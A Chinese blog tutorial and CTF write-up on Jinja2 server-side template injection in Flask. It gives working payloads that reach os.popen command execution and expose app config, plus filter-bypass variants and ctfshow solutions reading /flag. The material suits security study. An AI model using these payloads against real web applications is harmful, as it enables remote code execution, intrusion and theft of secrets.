学习ssti

(3) 2024-05-07 16:23

Hi,大家好,我是编程小6,很荣幸遇见你,我把这些年在开发过程中遇到的问题或想法写出来,今天说一说学习ssti,希望能够帮助你!!!。

ssti也叫做模板注入

当不正确的使用模板引擎进行渲染时,则会造成模板注入

比如render_template_string函数,当参数可控时,会造成模板注入

在Python的ssti中,大部分是依靠基类->子类->危险函数的方式来利用ssti

python沙箱逃逸总结 这是别人的文章

__class__ 返回对象所属的类

__bases__以元组的形式返回一个类所直接继承的类

__base__以字符串返回一个类所直接继承的类。

__mro__返回解析方法调用的顺序。

__subclasses__()获取类的所有子类。

__init__所有自带类都包含init方法,便于利用他当跳板来调用globals。

__globals__

function.__globals__,用于获取function所处空间下可使用的module、方法以及所有变量。

我们如何利用这些来进行执行命令呢

from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/flag/')
def flag():
    code = request.args.get('id')
    html = '''
        hello, do you have id ? , %s
    ''' % code
    return render_template_string(html)

if __name__ == '__main__':
    app.run(host='127.0.0.1' , port='5000')

学习ssti_https://bianchenghao6.com/blog__第1张

返回''所属的类,我们的目的是获取到它的基类,Object,使用__base__,__bases__,__mro__殊途同归

控制结构 {% %}

变量取值 {
{ }}

注释 {# #}

学习ssti_https://bianchenghao6.com/blog__第2张

学习ssti_https://bianchenghao6.com/blog__第3张

学习ssti_https://bianchenghao6.com/blog__第4张

获取到基类后,在通过基类获取到它下面所有的子类,

可以寻找catch_warnings因为catch_warning是function具有__globals__

学习ssti_https://bianchenghao6.com/blog__第5张

学习ssti_https://bianchenghao6.com/blog__第6张

寻找到function即可,我这边习惯找catch_warnings

在本地寻找的脚本

import jinja2
num=0
for i in ''.__class__.__base__.__subclasses__():
	if 'catch_warnings' in str(i):
		print(num)
	num=num+1

我们在__globals__的属性__builtins__里面发现了很多函数

学习ssti_https://bianchenghao6.com/blog__第7张

比如说__import__,eval函数我们可以调用这些来getshell

学习ssti_https://bianchenghao6.com/blog__第8张

调用__import__声明os库,使用popen函数执行命令,read读取到页面上

学习ssti_https://bianchenghao6.com/blog__第9张

又比如说通过eval函数调用__import__

既然在本地打通了,我们尝试开启靶机,在web页面尝试

学习ssti_https://bianchenghao6.com/blog__第10张

看到这个场景,我们使用索引,一个一个取数就不太现实,有两个方法

一个通过jinja2的{%%}语句

一个通过python来寻找

import requests
for i in range(1,300):
	url="http://127.0.0.1:5000/flag/?id={
 
 {%27%27.__class__.__mro__[1].__subclasses__()["+str(i)+"]}}"
	r=requests.get(url)
	if "catch_warnings" in r.text:
		print(i)

学习ssti_https://bianchenghao6.com/blog__第11张

学习ssti_https://bianchenghao6.com/blog__第12张

然后我们可以去通过使用函数getshell了

学习ssti_https://bianchenghao6.com/blog__第13张

还有一种就是通过jinja2的语句控制

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{
 
 {c.__init__.__globals__['__builtins__']['__import__']('os').popen("dir").read()}}
{% endif %}
{% endfor %}

学习ssti_https://bianchenghao6.com/blog__第14张

当然还有一种办法就是它预定义好的

学习ssti_https://bianchenghao6.com/blog__第15张

学习ssti_https://bianchenghao6.com/blog__第16张

http://127.0.0.1:5000/flag/?id={
 
 {x.__init__.__globals__.__builtins__.__import__('os').popen('dir').read()}}
http://127.0.0.1:5000/flag/?id={
 
 {config.__init__.__globals__.__builtins__.__import__('os').popen('dir').read()}}

也可以用这个语句读取放在环境中的变量

{
{url_for.__globals__['current_app'].config}}

web有注入的地方就会有正则的存在

from flask import Flask, request, render_template_string
import re
app = Flask(__name__)
@app.route('/flag/')
def flag():
    code = request.args.get('id')
    if re.match('__class__',code):
        html="checked"
    else:
        html = '''
            hello, do you have id ? , %s
        ''' % code
    return render_template_string(html)

if __name__ == '__main__':
    app.run(host='127.0.0.1' , port='5000')

我们看到正则过滤了__class__,我们应该如何绕过呢

首先知道 ''.__class__和''['__class__']是一样的效果,我们可以通过

['__cla'+'ss__']如绕过__class__的限制

http://127.0.0.1:5000/flag/?id={
 
 {''['__cl'+'ass__']['__base__']['__subclasses__']()[220]['__init__']['__globals__']['__builtins__']['__import__']('os').popen('dir').read()}}

学习ssti_https://bianchenghao6.com/blog__第17张

我们也可以使用倒序[::-1]来进行绕过

学习ssti_https://bianchenghao6.com/blog__第18张

http://127.0.0.1:5000/flag/?id={
 
 {''['__ssalc__'[::-1]]['__base__']['__subclasses__']()[220]['__init__']['__globals__']['__builtins__']['__import__']('os').popen('dir').read()}}

也可以使用flask框架的request函数

get: request.args.x //GET形式传递x

post: request.forms.x //POST形式传递x

cookie: request.cookies.x //COOKIE传递x

get方式绕过

url: http://127.0.0.1:5000/flag/?id={
{''[request.args.x][request.args.x1][request.args.x2]()[220][request.args.x3][request.args.x4][request.args.x5].eval(request.args.x6)}}

get: x=__class__&x1=__base__&x2=__subclasses__&x3=__init__&x4=__globals__&x5=__builtins__&x6=__import__('os').popen('dir').read()

学习ssti_https://bianchenghao6.com/blog__第19张

http://127.0.0.1:5000/flag/?id={
 
 {''[request.args.x][request.args.x1][request.args.x2]()[220][request.args.x3][request.args.x4][request.args.x5].eval(request.args.x6)}}&x=__class__&x1=__base__&x2=__subclasses__&x3=__init__&x4=__globals__&x5=__builtins__&x6=__import__('os').popen('dir').read()

post:

不允许的方式

cookie:

url=http://127.0.0.1:5000/flag/?id={
{''[request.cookies.x][request.cookies.x1][request.cookies.x2]()[220][request.cookies.x3][request.cookies.x4][request.cookies.x5].eval(request.cookies.x6)}}

cookie:x=__class__;x1=__base__;x2=__subclasses__;x3=__init__;x4=__globals__;x5=__builtins__;x6=__import__('os').popen('dir').read()

学习ssti_https://bianchenghao6.com/blog__第20张

 

编码绕过:

"{0:c}".format(97)='a'

"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

学习ssti_https://bianchenghao6.com/blog__第21张

http://127.0.0.1:5000/flag/?id={
 
 {''["{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)].__base__.__subclasses__()[220].__init__.__globals__['__builtins__'].__import__('os').popen('dir').read()}}

join绕过:

[1,2,3]|join

学习ssti_https://bianchenghao6.com/blog__第22张

学习ssti_https://bianchenghao6.com/blog__第23张

{% set a=['__','class','__']|join %}{
 
 {''[a].__base__.__subclasses__()[220].__init__.__globals__.__builtins__.__import__('os').popen('dir').read()}}

我们也可以利用函数直接绕过__class__的限制

http://127.0.0.1:5000/flag/?id={
 
 {x.__init__.__globals__.__builtins__.__import__('os').popen('dir').read()}}

学习ssti_https://bianchenghao6.com/blog__第24张

通过拼接绕过

http://127.0.0.1:5000/flag/?id={% set a=(()|select|string)[24]~(()|select|string)[24]~(()|select|string)[15]~(()|select|string)[20]~(()|select|string)[6]~(()|select|string)[18]~(()|select|string)[18]~(()|select|string)[24]~(()|select|string)[24] %}{
 
 {''[a].__base__.__subclasses__()[220].__init__.__globals__.__builtins__.__import__('os').popen('dir').read()}}

学习ssti_https://bianchenghao6.com/blog__第25张

绕过暂时就写道这里吧:

我们进入实战的一些题目吧

ctfshow365

学习ssti_https://bianchenghao6.com/blog__第26张

学习ssti_https://bianchenghao6.com/blog__第27张

args也被禁了

学习ssti_https://bianchenghao6.com/blog__第28张

cookies传参可以使用

学习ssti_https://bianchenghao6.com/blog__第29张

引号也被禁了

简单的绕过

url={
{x.__init__.__globals__.__builtins__.__import__(request.cookies.x).popen(request.cookies.x1).read()}}

cookie: x=os;x1=ls /

学习ssti_https://bianchenghao6.com/blog__第30张

 

ctfshow369

在往后面就不礼貌了,也看不懂了

分析一下大佬的wp吧

学习ssti_https://bianchenghao6.com/blog__第31张

 

http://ec6b99bb-953a-4e28-8962-084bda49c739.chall.ctf.show/
?name=
{% set po=dict(po=a,p=a)|join%}	//获取pop函数,通过join
{% set a=(()|select|string|list)|attr(po)(24)%}  //利用pop(xx)代替[xx]获取_
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}   //拼接__init__
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}	//拼接__globals__
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}	//拼接__getitem__
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} //拼接__builtins__
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} //拼接(q|attr('__init__')|attr('__globals__')|attr('__getitem__'))('__builtins__')
{% set chr=x.chr%} //获取chr函数
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} //利用chr拼接/flag
{%print(x.open(file).read())%}	//利用__builtins__的open函数读取

学习ssti_https://bianchenghao6.com/blog__第32张

 

今天的分享到此就结束了,感谢您的阅读,如果确实帮到您,您可以动动手指转发给其他人。

上一篇

已是最后文章

下一篇

已是最新文章

发表回复